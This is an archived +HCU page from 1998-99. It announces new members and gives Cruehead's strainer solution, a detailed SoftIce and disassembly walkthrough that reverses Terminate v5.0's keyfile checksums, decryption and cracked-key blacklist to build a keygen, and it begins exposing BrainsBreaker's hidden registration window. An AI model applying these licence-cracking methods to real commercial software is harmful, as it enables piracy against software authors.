cracking knowledge constituting the most valuable and unique feedback
between the best crackers in the scenario. You can now proudly wear the
'+' sign before your names. This small sign means to us: work,
responsibility, self-esteem, commitment, creativity, originality, and
many other desirable qualities. You have defeated the first challenge,
many more are still to come. Each one of you will be assigned with a
line of investigation, a task derived from the abilities showed in your
particular manner to solve the strainer. You can also choose to develope
in your prefered area. The +HCU has no place for ivernated crackers, but
for active ones. All +HCUckers will comment or contribute to enrich the
discussion. In the next days, you'll instructed on the next steps to
follow as well as your configuration in the private mailing list.
I'm responsable for your admission in the +HCU and I'm certain you wont
dissapoint me.

See you, soon.-

+Aesculapius.

The new +Hcukers

Well, here they are, as selectioned by +Aesculapius on 4 October 1998

http://www.instinct.org/fravia/99solu/soluhtm.htm (1 of 2) [2/7/2001 2:57:23 PM]


soluhtm.htm +HCU 1999 ~ The 1999 STRAINER's solutions

1) +Cruehead ~ [his comments] ~ ~ [his solution] ~

2) +The Q ~ [his solution (and comments) ] ~

3) +Mad ~ [his solution (and comments) ] ~

4) +iNT_03h ~ [his comments] ~ ~ [his solution] ~

5) +Spath ~ [his comments (and solution)] ~

6) +JaZZ ~ [his comments] ~ [his solution] ~

7) +Bogus ~ [his comments] ~ [his solution]

(Fatal+Exception's solution and admission are pending)

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia+ & +Aesculapius 1998, All rights reserved

http://www.instinct.org/fravia/99solu/soluhtm.htm (2 of 2) [2/7/2001 2:57:23 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

Solution for the 1999 +HCU strainer


Written by Cruehead

After having read +Aesculapius great challenge, I decided to give it a try because it's always fun to sink your teeth into a new
challenge. Most of the time you'll also end up having learned something new on the way, and this was defintly no exception!
A good choice is problaby NOT to read it all at one time, instead read one part at a time. That way hopefully it wont be that
confusing (trust me - it's confusing enough already :))
So, enjoy (or dont) my answer to the 1999 HCU strainer!
(oh, and please excuse me for all spelling mistakes)

* Chapter 1 : Terminate v5.0


Tools used: Softice, HelpPC
Output: Terminate v5.0 keygen source and executable

Ah, this program sure brings back some memories! I myself used it quite alot in the good old days when calling BBS's. As I
knew nothing about cracking at that time I used the shareware version, but now with my newly gained cracking skills I thought
it was time for revenge! Look out Mr. Bo Bendtsen, I'm out to get you! Well, at second thought I think I'll just settle with
cracking his program. :)
Did +Aesculapius leave any hints when introducing the program in the strainer perhaps? Yes he did, he told us that Terminate
uses a "missing key file" protection. Ouch, these are often pretty tough to crack (and this is no exception), but as long as you
have patience, you'll do fine. So, let's start out by creating a bougs file called "TERMINAT.KEY". Fill it with some bogus text
and we're off to cracking land! My fake file was around 5 kb.
As we're dealing with a DOS program we'll have to put breakpoints on an interrupts and not API functions. Int 21, Function
3Dh is "open file using handle" and is used alot when opening files in DOS, so lets put a breakpoint on that one. "bpint 21 if
ah==3d". There, now run the program and you'll find that softice pops up pretty soon. As you should know (otherwise you can
look it up) dx holds the offset to the filename, so "d dx" and we'll see the name of the file beeing opened. Bah, no luck this
time because as you see the name of the file beeing opened is called TERMINAT.EXE, and this is not the file we're interested
in. Keep the breakpoint, and leave softice. Back again in softice, so type "d dx" again and look at the data window. Yeah! The
name of the file that the program tries to open this time is called "TERMINAT.KEY" and this is the keyfile we're trying to
reproduce. If this was a windows program we would have put a breakpoint on the "readfile" function by now, but as this is dos
we'll have to use the interrupts once again. This time we'll be using Int 21, Function 3Fh which is "read from file or device
using handle". If you dont know these things, I recomend HelpPC - a great program where you can look up most of the
interrupts.
Ok, remove the old breakpoint and instead use "bpint 21 if ah==3f" this time. As this function will read data from file to ds:dx,
type d dx again when sice breaks in. That way you'll see the data beeing read in the data window. Number of bytes beeing read
is held in ax once the interupt has been called, so you can see that 162h (=354 dec) bytes has been read (that is if your file was
big enough. Otherwise create a bigger one, around 4-5 kb's or so). Now these newly read bytes must be checked somehow, so
let's place a BPR on them, and let the program run again.
Step 1 - The first checksum check
If everything went ok, you should now land in a code that looks like this:

; --- CHECKSUM function ---

Checksum:
inc word ptr [17D2] ;Increase the counter
mov di,[bp+6] ;These couple of lines just increases di with one.
les di,ss:[di+FEFA]

http://www.instinct.org/fravia/99solu/cruecom.htm (1 of 21) [2/7/2001 2:57:40 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

mov ax,es
push ax
mov di,[17D2]
pop es
*mov al,es:[di] ;Get one byte from the read-buffer in al
push ax
mov di,[bp+6]
push word ptr ss:[di+fef8] ;Storage value 2 (first time this value will be
FFFFh)
push word ptr ss:[di+fef6] ;Storage value 1 (same here, preset to FFFFh)

pop bx ;bx = Storage value 1


pop dx ;dx = Storage value 2
pop cx ;cl = the byte we got from the read buffer
and ch will be a bogus value (first part of ES
actually)

push dx ;Save storage value 2


push bx :Save storage value 1

xor bx,cx ;XOR storage value 1, with cx.


xor bh,bh ;Set bh to zero, that way we just keep the result
from "xor bl,cl" which is : XOR the lower part of
"storage value 1" with the byte we got from the
read-buffer. Result saved in BL, and BH will be 0.
So, BX will hold the result.

shl bx,1 ;Shift left one time, thus multiplying bx with 2


shl bx,1 ;Shift left once again, multiplying bx with 2 again

add bx,[E320] ;The value at offset E320 is 2014h (atleast for me -


most likely the same for you). Add that to BX

mov ax,[bx] ;Mov the word that BX points to to ax.


mov cx,[bx+2] ;Mov the word that BX+2 points to to cx
As you problaby understand, BX works as an offset
into a lookuptable. We have to include this
lookuptable
in our keygen later on. We'll can call ax for
lookup value 1 and cx for lookup value 2.

pop bx ;bx = storage value 1


pop dx ;dx = storage value 2
push cx ;save cx so we dont destroy it.
mov cx,0008
*1: ;Here starts a small inner loop
shr dx,1 ;shift right one time (divide dx with 2)
rcr bx,1 ;rotate with carry bx one step
loop *1 ;jump back to *1, decreaing cx. When cx=0 the loop is
done

and dx,00FF
pop cx ;Restore cx

xor ax,bx ;Xor ax (=lookup value 1) with bx

http://www.instinct.org/fravia/99solu/cruecom.htm (2 of 21) [2/7/2001 2:57:40 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

(this value comes originally from Storage value 1


The result is the new Storage value 1

mov bx,cx ;move cx, which is lookup value 2, to bx

xor dx,bx ;xor dx (originally came from Storage value 2) with


bx which is lookup value 2.
The result is the new Storage value 2.
mov di,[bp+6]
mov ss:[di+FEF6],ax ;Save new storage value 1
mov ss:[di+FEF8],dx ;Save new storage value 2
mov ax,[17D2] ;The value at 17D2 works as a counter
cmp ax,[bp-4] ;bp-4 will point to the value 15D.
jnz checksum
cmp word ptr [17D4],01 ;Another counter, we call it counter2
jnz ...

(* = You'll land here the first time)


Ok, hopefully you understand what this code does by looking at my comments. If not, dont worry to much about it and read on
instead. Conclusion so far: 162h bytes is read, but only 15E bytes are beeing processed in this loop (You must remember that
the first value is zero, but that also counts, so 15D+1=15E), thus leaving 4 bytes. The only output we got is two words, which I
called "Storage value 1" and "Storage value 2". We also know that we have to include a lookuptable in our keygen!
Ok, so far so good. If you continue tracing through the code you'll see that counter2 is beeing compared with 1. Counter2 does
equal 1 (because this is the first time we execute this checksum function), and so we're doing some more checks. You'll see
that the B'th value in our read-buffer is compared to "46h". If it equals, you'll find that the 1B'th byte is compared to 2F, and so
on for a couple of bytes. You dont have to worry about this, as our bytes WONT be equal (that is if you havnt had an extreme
bad luck when filling your keyfile), but please try changing these bytes so they do match and you'll see what happends.
Anyway, Let's continue. You'll see that counter2 is beeing increased by one, another 162 bytes is beeing read to our
read-buffer (the old info in the read-buffer will thus be deleted), and that the checksum function above is beeing executed
again. Trace through the code (I recomend a bpx on the "cmp word ptr [17D4]" line. What happends now is that the first byte
in our read-buffer is compared to the second. It they matches, the third is also checked, and so on to the fifth byte. If the all
matches we'll add 329h to the "Storage Value 1". This will be true if you for example just filled the whole keyfile with zero
bytes.
After this the story repeats itself again - counter2 is beeing increased, 162h new bytes are beeing read and the checksum
function is beeing executed again. Counter2 is compared to 5 this time, but counter2 is only equal to 3, so nothing strange
happends. The same happends as before, until counter2 is equal to 5. Now something REALLY important happends, but we
dont understand much of it yet. But trust me - it will be very important later on. The two last words from the read-buffer is
beeing moved into ax and dx (note as these are the two last bytes in the read-buffer, they havnt been processed in the function
above). Then some calls are made, and depending on the values we had in ax and dx before the calls, three new bytes has been
generated and saved. You dont really have to care about how they got generated, the important thing to remember is where
they got saved, and that they got generated from these two values. But anyway, this doesnt concern us yet, so happily we
continue!
Nothing strange will happend now for a while, the procedure goes on as usual until counter2 is equal to Bh. Now the 12C'd
value in the read-buffer is compared to the 12D'th. If they matches, the 12E'th value are also compared and so on to the 130'th
value. If they all match counter2 is beeing increased with 192h. After this a small check simular to the check that was made
when counter2 was equal to 1 is executed. Same thing here - dont care about it as they WONT match unless you have one big
bad unlucky day!
After this we have finally reached the first real check! Look at this:

mov ax,ss:[di+FEF6] ;This is storage value 1


mov dx,ss:[di+FEF8] ;And this is storage value 2

http://www.instinct.org/fravia/99solu/cruecom.htm (3 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

les di,ss:[di+FEFA] ;This sets di to zero


cmp dx,es:[di+160] ;Yeah! the first check! Compares storage value 2 with
the last word in the read-buffer. They must match!
jnz nogood
cmp ax,es:[di+15E] ;Second check! Compares storage value 1 with
the 2'nd last word in the read-buffer. These must
also match!
jnz nogood
Ok, now we can make some things a bit clearer. For starters we can figure out the filesize (well, not really, but we can make a
very good guess). We know that 162 bytes are beeing read each time the "Checksum function" is beeing executed. We also
know that this function will be executed B (=11 dec) times. So, a good guess of the filesize is 162*B=F36h = 3894 dec. Now,
how to crack this first check? It's fairly easy actually. The last two words of the file must match these "storage values"!
Because if we have a filesize of 3894 bytes, the last two words of the last read-buffer will be the last two words of the keyfile!
Step 2 - The second checksum check
Ok, now that you got the hang of it, I wont desribe HOW to get to the interesting places (it's a couple of BPINT's and some
BPR's) as it's pretty easy. Instead I'll try to explain the different protections.
The next thing that happends (if you succesfully managed to get through the last check) is that the decryption algorithm starts.
It starts by reading 162h bytes from the begining of our file into a read-buffer. You might think that these bytes are somehow
processed later, but this is not the case! These bytes are overwritten with the next 162h bytes, and even they are untouched. So,
also these values are overwritten with the next 162h bytes. Finally something happends. A byte from location 5Bh in the
read-buffer is moved into al. By now you should be able to figure out what location this byte has in the real keyfile.
162h*3h+5bh=481h. So, 481h is the location in the keyfile of this byte. Anyway, this byte is XOR'ed with FFh, and moved
back to the read-buffer again. The next byte is processed the same way, and so it all goes on like this until it has processed the
161'th byte in the read-buffer. A total of 106h bytes has then been processed. Then the next decrytion part begins. I'll describe
that one as well, but I'll start by describing another function which I call the "getvalue" function. You might wonder why, but
that's because the next decryption algorithm is using it.

; --- GETVALUE function ---

push bp
mov bp,sp
mov ax,[24E6] ;Seed value 1 (preset to 7)
mov bx,[24E8] ;Seed value 2 (preset to 0)
mov cx,ax ;Move Seed value 1 to cx
mul word ptr [12BC] ;The value at offset 12BC is always equal to 8405h
;Output will be in both ax and dx
shl cx,1 ;shift left one time
shl cx,1 ;same as above
shl cx,1 ;same as above
add ch,cl ;ch+cl
add dx,cx
add dx,bx ;bx is seedvalue2
shl bx,1
shl bx,1
add dx,bx
add dh,bl
mov cl,05
shl bx,cl
add dh,bl
add ax,0001
adx dx,00
mov [24E6],ax ;the new seed value 1
mov [24E8],dx ;the new seed value 2

http://www.instinct.org/fravia/99solu/cruecom.htm (4 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

xor ax,ax
mov bx,[bp+6] ;[bp+6] will always be 100
or bx,bx
jz *1
xchg ax,dx
div bx
xchg ax,dx
*1:
pop bp
retf 0002 ;End of the function
Alright! Now, it isnt very important to understand exactly what every little instruction does in this function. The important
thing is that the output value is saved in ax, and that it's generated from two word variables which I called "seed value 1" and
"seed value 2".
Ok, now to the real decryption function. It looks like this:

; --- DECRYTION function ---

inc word ptr [17D2] ;Increase the counter


mov ax,0100
push ax
call getvalue ;The getvalue function. Output is in ax.
mov dx,ax ;Move output value from the function above to dx
mov di,[bp+6]
mov di,ss:[di+FEFA]
mov ax,es
push ax
mov di,[17D2] ;Works like a counter
pop es
mov al,es:[di] ;Get a byte from the read-buffer
xor ah,ah ;Set ah to zero so AX holds the byte
xor ax,dx ;Xor ax = the byte from the read-buffer
with dx = output from the "getvalue" function
mov dl,al ;al is the only interesting part, this is moved into dl
mov di,[bp+6]
les di,ss:[di+FEFA]
mov ax,es
push ax
mov di,[17D2] ;mov the counter to di
pop es
mov es:[di],dl ;Move new, decrypted value into the read-buffer again
mov ax,[17D2] ;17D2 is the counter, remember?
cmp ax,[bp-4] ;bp-4 = 161h
jne...
There you have it! The output from the "getvalue" function is xor'ed with one byte from the read-buffer and saved again in the
read-buffer. Then the counter is increased by one and the next byte is xor'ed with the next output from the getvalue function
and so on...
After this algorithm, there are two more that looks exactly the same. The only difference is that the "seed variables" that the
getvalue function uses are preset to other values at each start of a new algorithm. At the start of the next algorithm they are
preset like this:
Seed value 1 = 325Ch
Seed value 2 = 0
and at the start of the second algorithm that follows, they are set like this:
Seed value 1 = 904h

http://www.instinct.org/fravia/99solu/cruecom.htm (5 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

Seed value 2 = 33EEh


Apart from that, the functions are identical.
Ok, now we get yet another function that you might recognize. It's the old checksum function that was used for the first check.
Both of the "storage values" are first of all preset to FFFFh (just like they were the first time). It works exactly the same way as
before, but this time only the bytes from 5Bh to 15Dh in the readbuffer is processed. Just as before, the output will be the two
word variables which I called "storage value 1 and 2". After all 15D-5B=102h bytes has been processed another check is done,
you problaby recognize it:

mov ax,es:[di+15E] ;Move the second last word of the read-buffer into ax
mov dx,es:[di+160] ;Move the last word of the read-buffer into dx
mov di,[bp+6] ;Sets di to zero
cmp dx,ss:[di+FEF8] ;Compare dx with Storage value 2
jnz nogood ;It they dont match, we take the jump
cmp ax,ss:[di+FEF6] ;Compare ax with Storage value 1
je good ;If they match, take the jump
jmp nogood ;If they dont match, this jump will be taken
Hmm, this check is somewhat more difficult to crack than the first one, as all bytes from 5B-161 in the read-buffer is
decrypted. That means that the two last words in the read-buffer is also decrypted, and so we cant crack it like the first check.
But dont worry - if we're making a keyfile generator (which we ARE going to do) it's pretty simple. As we're not decrypting
anything in our keygen, quite the opposite - we're encrypting instead, we already have the decrypted information from start
(the name, address, city and country in this case).
Before I explain how to crack this check lets see what we got now: We know that the registration information begins at offset
481h (remeber? the byte at this offset in the keyfile was the first one to get decrypted) and ends at offset 481+102+4=587h in
the keyfile. This is ofcourse very important to know when we're making our keygen. We also know that the registration info
are stored on a total of 102h bytes and there's a checksum of 4 bytes (which is not stored directly in the keyfile but encrypted).
So, how to crack it? Let's think a for a moment (yeah, sometimes that can be usefull). We want the two last words in the
read-buffer after they have been decrypted to match the checksum values that are calculated from the decrypted bytes. It's
really no big deal. In our keygen we'll just execute the checksum function on the registraion information (which we already
know is 102h bytes, and stored begining at offset 481h in the keyfile) and we'll get as output these two words. We'll then save
these words after the real registration information in the keyfile! As we in our keygen will later ENcrypt all the registraion
information AND the four checksum bytes with the same (but in reverse order of course) algorithms that is used by Terminate
to DEcrypt the information, the checksums will match!
Ok, I know it might sound a bit complicated, but it's really not so hard. Read the above lines a few times and you'll soon get it
(or else you can email-bomb me or something). Another good thing is to check out my keygen source to see how it works.
Step 3 - The complicated final check
Alright, we have one more check left, and this is the most complicated one. But fear not - As you will soon see it looks a whole
lot more complicated than it really is.
After the above check, we'll see that some other values are created using our two "storage values" as key source. This is done
through a couple of different function, all of them features quite a lot of XOR's, SHL's and other bit manipulation instructions,
trace them if you want. As we dont want to make our work any harder than it already is, let's just step over these functions for
now as we first of all want to find where the check(s) is done. Then we can concentrate on how to crack the checks. We'll soon
get to this piece of code:

push word ptr ss:[di+FEE2]


push word ptr ss:[di+FEE0]
push word ptr ss:[di+FEDE]
push word ptr ss:[di+FEE8]
push word ptr ss:[di+FEE6]
push word ptr ss:[di+FEE4]
push word ptr ss:[di+FEDC]
push word ptr ss:[di+FEDA]
push word ptr ss:[di+FED8]

http://www.instinct.org/fravia/99solu/cruecom.htm (6 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

call Big_check
Hey! This must be interesting, so many push'es before a call. This just HAS to be interesting (can you feel it?). For now, lets
just step over this call and see what happends.
Performing integrity check on Terminate, before registering...
Hmm, nice, but one thing that isnt very nice is that we never get the control back. The "Big_check" call never finnishes! So,
we can now guess that if the keyfile was valid the call would reach an "retf" instruction somewhere and thus letting us have
control again. "Our mission, if we choose to except it, it to make the "Big_check" call reach the end (an "retf" function). This
message will self destruct in 10 seconds..."
So, now it's time to trace the call. Geeez, that's one big happy function! If you step through all the calls you'll find that there are
only three ways that we can reach the "retf" function...there are three checks:

cmp byte ptr [17DC],0


jz perhaps_ready
mov ax,[17E4]
or ax,[17E6]
jz perhaps_ready
cmp byte ptr [1802],0
jnz perhaps_ready
...

perhaps_ready:
mov ax,[BP-4E]
mov bx,[BP-4C]
mov dx,[BP-4A]
mov cx,DB94
mov si,1894
mov di,0731
call checkit
jb alrighty
jmp loooser
alrighty:
mov ax,[bp-54]
mov bx,[bp-52]
mov dx,[bp-50]
mov cx,358D
mov si,BA5E
mov di,747B
call checkit
ja alrighty2
jmp loooser
alrighty2:
...
You will see at the offset that I call "perhaps_ready" there will be 5 new checks (I only included 2 of them it above code
snippet). If everythink went well here we would reach the end of this call, and that means that we (hopefully) will be fully
registered!
But first of all lets concentrate on the first three checks. Do we have to care at all? Lets try to put a breakpoint on the
"perhaps_ready" offset (for me this was cs:1ADC). If we dont break we have to fully investigate the whole function and as you
know it's HUGE! On the other hand, if we DO break on this breakpoint there is a slim chance that we dont have care about the
whole function, just the 5 later checks. So, place the bpx and cross your fingers!
The "bla bla, performing integrity check bla bla" shows up and we'll see the progress-meter doing its work. Hey! After a while
we DO break on our breakpoint! Great, if we only would get through these last 5 checks we would reach the end of the

http://www.instinct.org/fravia/99solu/cruecom.htm (7 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

function! Lets see what happends...first check went ok...so does the second and third...but oooh no...we fail at the fourth check
(this could be a bit different for you depending on what kind of information you filled you keyfile with. I filled it with zero
bytes)! To bad! Just to see if we are on the correct path, let's change the carry flag so we DO take the jump. WHOA! We get
the "thanks for registering" message!
Lets take a moment or two to think about it (a moment of clarity perhaps? :)). As we know 9 word values are pushed right
before this call. So - based on these 9 pushed values this routine decides if it's a valid key or not. At the "perhaps_ready" offset
you'll see that for each check there are three constants (the cx,si and di regiters) and three variabels. A good and clever guess is
that these varaibles have their origins in the 9 pushed values. We can therefor draw a conclusion (one should'nt really draw
conclusions based on guesses, but what the heck :)):
The nine values pushed right before the call is executed decides if it's a valid key or not.
Of course, our next question will then be How is the 9 word values created? We already know that our two checksum values
from check #2 is used, but in what way? What happends??? Let's investigate that! Here is what happends right after the second
check has been made:

mov ax,ss:[di+FEF6] ;Storage value 1


mov dx,ss:[di+FEF8] ;Storage value 2
call 2CAE:170B ;What happends here?
If we trace the call we'll see that this is the interesting part:

mov al,A0
or dx,dx
jnz dxnotzero
...
dxnotzero:
or dx,dx
js blah
here:
dec al
add bx,bx ;bx = storage value 1
adc dx,dx ;dx = stroage value 2
jns here
or ch,ch
js end
and dh,7F
end:
ret
Ax will hold a max value of 9Fh (A0-1). You can see for yourself whats happening to the storage values. Depending on the
sign flag after the "adc dx,dx" instruction the loop may go on. At the end "AND DH,7F" will be executed. As you will see
soon it's not very important to understand EVERY part of this call but it is important that you remeber the three output values
and how they got created.
Let's continue browsing the code. You will see that the output from the previous call (ax,bx,dx) will be saved away and used in
the next call. Cx, si and di is set to zero. If you trace this call you'll see that the output will be the same, no matter what! So,
this call is just to confuse a cracker. The next piece of code we'll come to doesnt include our values (they are safly saved away)
and thus we dont have to care about it (atleast not now). What we are doing now is truley zen - feeling what code is interesting
for us and what is not. Finally we come to an interesting part again:

mov ax,ss:[di+FED8]
mov bx,ss:[di+FEDA]
mov dx,ss:[di+FEDC]
mov cx,0084
xor si,si
mov di,2000

http://www.instinct.org/fravia/99solu/cruecom.htm (8 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

call 2CAE:16E5
...
Just as the previous interesting call, we dont really have to understand everything, we just need to know what the output is and
how it got created. If you step over the call you'll see that the only value (that we're intersted in) that's changing is BX. How
you might ask? By tracing the call you'll find that 14h (=20d) is added to the original value a number of times. The number of
times depends on the value in al:
al=9F - add bx,014h
al=9E - add bx,014h*2
al=9D - add bx,014h*4
...
Now we'll see this piece of code:

mov di,[bp+6]
mov cx,ss:[di+FEDE] ;Where did these value come from??
mov si,ss:[di+FEE0]
mov di,ss:[di+FEE2]
call 2CAE:1707 ;Lets call this the "master-check"
je 0D7D ;Hmm...a conditional jump here?
...
If you trace this call you'll see that:
dx is compared with di
al is compared with cl
bx is compared with si
And as we know ax,bx and dx holds the output values from out previous call and cx,si and di hold some other values that we
dont know where they came from (atleast not yet). It's always easier to relate to values if you give them names, so let's call
ax,bx and dx for "final check values".
If all these values matches the jump after the call will be executed. If you arent extremely lucky the values will NOT match, so
fake the carry flag and take the jump anyway and let the program run.
BOOM - The program is registered!
Great! We dont even have to bother about anything else but making the program take this jump in order to crack it! This jump
will produce nine "good" values that are pushed before the "Big_check" call and therefor the program will be registered. First
of all we have to figure out where the three values moved into cx,si and di came from. You can do this in a number of ways, I
wont even bother to explain how (hint: a bpr is a good start).
Remember when I described the first checksum protection that terminate used I also said something like "this is very
important, but we dont have do care about that right now"? Well, now it's time to care about that :). So, go back to where the
first checksum function was executed and check out whats happening when "counter2" is equal to 5:

mov di,[bp+6]
les di,es:[di+FEFA]
mov ax,es:[di+015E] ;Hey! This is interesting!
mov dx,es:[di+0160] ;And so is this :)
call 2CAE:170B
As you see a word value from the good old "read-buffer" is moved into ax and another one into dx. Lets come up with a name
for these two values as well. Lets call them "key values". These values has not been processed in any way and we can really
easy find out what offset in the keyfile these values has. 4*162+15E=6E6h (4*162 bytes has already been read and this is the
5'th time) is the the offset for the first one and 4*162+160=6E8h the offset for the second. Then these values are used as input
for the call. If you have a good memory (not RAM, we're talking brain here :)) you'll recognize the offset of the call. If you
dont, trace it and you will problaby recognize it. It's the same call that is executed right after the second checksum check, but
that time the input values was the two storage values. Continue stepping through the code and you'll see that nothing else

http://www.instinct.org/fravia/99solu/cruecom.htm (9 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

happends: Another call is executed but that wont change the values (my guess is that it's only good for confusing crackers). A
jump is taken and the three new values are saved away.
In case you havnt already figured it out - these are the three values that are used in the call I called "master check". So, we now
know the final task - making these three values match the three "final check values". That way we will have a fully functional
reg-key!
Ok, it's time to sum up what we already know:
1 - The three "final check values" are created from the two storage values we got from the last checksum check.
2 - Only two calls are executed on these these two storage values in order to create the three final check values.
3 - The first call that is executed on the two storage values is also executed on the two "key values".
Ok, as you see there is not much that differs between how we get "final check values" and the "key values". The only
difference is a call that is executed when we're dealing with the "final check values" but this call doesnt do that much. As we
already know all that call does is that it add's 14h to bx a number of times depening on the value in AL. That's the only
difference!
If that call wouldnt exist it would have been a VERY easy job for us - we would just have saved the two storage values that we
got after the second checksum check and used them as the two "key values". But fear not - the solution is pretty easy anyway.
We know that both the storage values will be multiplied with atleast 2 (this is the work of the first call). We also know that
storage value 1*2 will be added with atleast 14h (the second call does this). The third thing we know is that also the "key
values" is multiplied with atleast 2 (the first and only call for them).
Our common sence tells us that we have to add something to "key value 1" in order to make is match with "storage value 1",
and now we can make a simple equation:

x=storage value 1
y=how much we must add to "key value 1" in order to make it match
storage value 1

2x+14=(x+y)*2 = 2(x+A)=2(x+y) = x+A=x+y = y=a


There we have it! We just need to add Ah (=10dec) to the storage value we got from the second checksum check and save it as
"key value 1". We also need to save the storage value 2 as "key value 2". We already know the offset of the keyfile where
these key values must be stored and by knowing that Terminate v5.0 has been cracked! If you want to check out your
registration info, just enter ctrl-O when you are in your newly cracked terminate. Hmm, just a bunch of garbage, but from this
garbage it's easy to figure out where the offset in the keyfile where the registraion information should be saved. If you're lazy
just check out the source for my keygen.
Step 4 - The old-cracked-keyfile check
+Aesculapius mentioned something about "Design a technique to assure that your generated key will be valid in any futher
version of terminate..." Ah, yet another check then. What I did was that I downloaded an already made keygenerator for
terminate v4.0 (made by UCF btw) and tried a key generated from that with terminate v5.0...oops, guess +Aesculapius knew
what he was talking about. Terminate does recognize it as an old cracked keyfile and refuses to accept it. Let's see where the
check is made!
Start debuging the program (you should know how it works by now). You'll see that it works just like it would with a normal
key, every check is made and it looks like it works perfectly. What I did was that I stepped through the code after the call
which I called the "big_check" (you know, the one with 9 values pushed before) keeping an eye open for any suspicious
checks. Also I looked if anything was written to the screen by using the rs command in softice. It took a while but finally I saw
what was going on, and hopefully so will you. Two words of the decrypted registration information is checked with a number
of hardcoded values. If these two word values matches any of a number of hardcoded values terminate terminates (hehe) and
says that's it's a cracked key. So, it wasnt really anything complicated with this - the author of terminate has problaby
downloaded every single keygenerator or cracked keyfile he could find and then written down the word values at two locations
of the decrypted registraion information (they are located near the end of the reg-info). Then he simply made a check to see if
the word values of the current keyfile matches any of the "forbidden" values. If they do match - Exit with the error message!
Conclusion - Terminate:

http://www.instinct.org/fravia/99solu/cruecom.htm (10 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

A very nice protection scheme! First a checksum of the whole keyfile, then a checksum of the decrypted registraion
information. These values along with two other word sized values are then used to make sure that the keyfile is valid. Last but
not least is an old-cracked keyfile check which is acomplished using a check of known cracked keyfiles. These four checks
along with some code that only confuses a cracker makes this protection a very nice one!

* Chapter 2 : The patcher


Tools used: TASM v5.0, Win32 API reference guide
Output: Patcher source and executable

Ok, time for some real coding. I decided to use assembler even if +Aesculapius did include an asm example. The main reason
for this was that I didnt have any other compiler than TASM that could generate win32 programs. I tried to use some other
functions and methods in order to make it a bit different from +Aseculapius's. Not much else to say about this - take a look at
the source code instead!

* Chapter 3 : BrainsBreaker v2.1


Tools used: Softice, Wdasm (or IDA)
Output: Brains Breaker v2.1 crack

Indeed a fun game to play! In fact I spent about 2-3 hours just playing the game before I started to crack it. It seems like some
puzzles are only demos? Hmm, must be a nasty bug...but mr. Juan Trujillo Tarradas dont have to worry, we'll fix that for him!
We'll just go to the "enter registraion name/serial" window and crack it like any other program... yeah...right...eh..only one
problem... where is it?! At times like this I always go to the helpfile to try to find some usefull information, and look what I
found:

Once your payment is processed, you'll receive an e-mail message containing your
registration code with the instructions to enter it in the program that makes
fully playable all the puzzles (if registered the Full pack) or the puzzles in the
Entry set.
Ah...The registration window is hidden! How to find it then?
Step 1 - finding the registration window!
I choosed to disasemble the program, and searched after some well- choosen strings like "registration". I found this hit (after
disasming with Wdasm, no need to use IDA if we dont have to):

* Possible StringData Ref from Data Obj ->"Registration info. Program version "
Interesting indeed! I browsed down a bit through the code and found alot of even more interesting strings there, including
"Pack", "Name", "Your ID" and "Key:". Looks like this could be the place where we enter our registration details. Now we
want to know how we execute this code, so we browse upwards through the code. We notice that this code is called from
another location:

* Referenced by a CALL at Address:


|:0044C881
Now we know where this code was executed from. Go up to that location and have a look:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:0044B8CF(C)
|
:0044C852 6A06 push 00000006

http://www.instinct.org/fravia/99solu/cruecom.htm (11 of 21) [2/7/2001 2:57:41 PM]


Solution for the 1999 +HCU strainer - written by Cruehead

:0044C854 FFB381010000 push dword ptr [ebx+00000181]


:0044C85A E8CF49FDFF call 0042122E
:0044C85F E9EB0C0000 jmp 0044D54F
:0044C864 6A1C push 0000001C
:0044C866 E8723FFDFF call 004207DD
:0044C86B 898590FEFFFF mov dword ptr [ebp+FFFFFE90], eax
:0044C871 85C0 test eax, eax
:0044C873 0F84D60C0000 je 0044D54F
:0044C879 6A00 push 00000000
:0044C87B FFB590FEFFFF push dword ptr [ebp+FFFFFE90]
:0044C881 E85FE40100 call 0046ACE5 <-- here is the intersting
call
:0044C886 E9C40C0000 jmp 0044D54F
Hmm, judging from this code, we'd say that the call to the interesting routine will never be executed because the program will
jump at offset 44C85F, and we dont see any other jump references...Here is a good example of how bad wdasm disassembles
sometimes. There ARE references to the interesting call, if you use IDA you'll see them. The problem is that it referenced
through the instruction "jmp dword ptr [4*eax+0044B96B]" and that's why Wdasm doesnt find it. Go to offset 44B964, you'll
find this offset using IDA.
(It is possible to find it using Wdasm as well but it takes some more work. As you can see from the code snippet above, we'd
like to jump to either offset 44C864 or 44C879 to execute our "enter registraion information" call, so try a search on
"44C864" and you'll land in a very intersting place!)

:0044B964 FF24856BB94400 jmp dword ptr [4*eax+0044B96B]

:0044B96B C7C34400 DWORD 0044C3C7


:0044B96F 5CC44400 DWORD 0044C45C
:0044B973 CEC44400 DWORD 0044C4CE
:0044B977 C0C84400 DWORD 0044C8C0
:0044B97B 64C84400 DWORD 0044C864 <-- You'll land here if you're
using Wdasm
:0044B97F C0C84400 DWORD 0044C8C0
:0044B983 8BC84400 DWORD 0044C88B
:0044B987 C0C84400 DWORD 0044C8C0
:0044B98B C0C84400 DWORD 0044C8C0
:0044B98F C0C84400 DWORD 0044C8C0
:0044B993 C0C84400 DWORD 0044C8C0
:0044B997 C0C84400 DWORD 0044C8C0
:0044B99B C0C84400 DWORD 0044C8C0
:0044B99F C0C84400 DWORD 0044C8C0
:0044B9A3 C0C84400 DWORD 0044C8C0
:0044B9A7 C0C84400 DWORD 0044C8C0
:0044B9AB C0C84400 DWORD 0044C8C0
:0044B9AF C0C84400 DWORD 0044C8C0
:0044B9B3 C0C84400 DWORD 0044C8C0
